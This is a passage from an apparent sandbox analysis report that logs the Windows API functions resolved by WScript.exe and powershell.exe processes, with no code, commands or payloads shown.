00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter netutils.dll (UID: 00000000-00004012)31:T182ad,"WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SxsOleAut32MapConfiguredClsidToReferenceClsid (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WintrustCertificateTrust (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SoftpubAuthenticode (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SoftpubInitialize (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SoftpubLoadMessage (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SoftpubLoadSignature (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SoftpubCheckCert (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SoftpubCleanup (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter MsiSIPIsMyTypeOfFile (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter IsFileSupportedName (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter PutSignedDataMsg (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetSignedDataMsg (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CLSIDFromProgIDEx (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter StrRChrA (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetProductInfo (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RpcBindingSetAuthInfoExW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RpcBindingSetOption (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHAddressToString (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHEnumProtocols (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHGetProviderGuid (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHGetSockaddrType (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHGetSocketInformation (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHGetWSAProtocolInfo (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHGetWildcardSockaddr (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ResolveDelayLoadedAPI (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SslDecryptPacket (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WinHttpCrackUrl (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter StrCmpNW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WinHttpCreateUrl (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SxsOleAut32RedirectTypeLibrary (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceA (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSAStringToAddressW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHGetWinsockMapping (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHIoctl (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHJoinLeaf (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHNotify (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHOpenSocket (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHOpenSocket2 (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHSetSocketInformation (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSHStringToAddress (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter UrlCanonicalizeW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SslOpenProvider (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetHashInterface (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SslIncrementProviderReferenceCount (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SslImportKey (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetCipherInterface (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SslLookupCipherSuiteInfo (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter BCryptOpenAlgorithmProvider (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter BCryptGetProperty (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter BCryptCreateHash (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter BCryptHashData (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter BCryptFinishHash (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter BCryptDestroyHash (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetUserProfileDirectoryW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CryptGetKeyParam (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CryptVerifySignatureA (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetAsymmetricEncryptionInterface (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter BCryptImportKeyPair (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter BCryptVerifySignature (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter BCryptDestroyKey (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SslEncryptPacket (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CreateStreamOnHGlobal (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RegQueryValueW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SHGetInstanceExplorer (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter PathCreateFromUrlW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00002496) "WScript.exe" called "GetProcAddress" with a parameter SslFreeObject (UID: 00000000-00002496) "powershell.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadBSTR (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter IsCharAlphaW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CharPrevW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetNetResourceFromLocalPathW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter NetShareEnum (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CscNetApiGetInterface (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SLGetWindowsInformationDWORD (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter PathRemoveFileSpecW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter IsProcessorFeaturePresent (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter _set_error_mode (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ?set_terminate@@YAP6AXXZP6AXXZ@Z (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter _get_terminate (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetLoadedByMscoree (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetCLRFunction (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetTraceLoggerHandle (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetTraceEnableLevel (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetTraceEnableFlags (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter TraceEvent (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter IEE (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter IEE_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetStartupFlags (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetStartupFlags_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetHostConfigurationFile (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetHostConfigurationFile_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetCORVersion_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetCORVersion (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetCORSystemDirectory (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetCORSystemDirectory_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RtlUnwind (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter AddVectoredContinueHandler (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RemoveVectoredContinueHandler (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetWriteWatch (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ResetWriteWatch (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CreateMemoryResourceNotification (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter QueryMemoryResourceNotification (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetVersionEx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetVersionExW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetErrorMode (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter lstrlen (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a 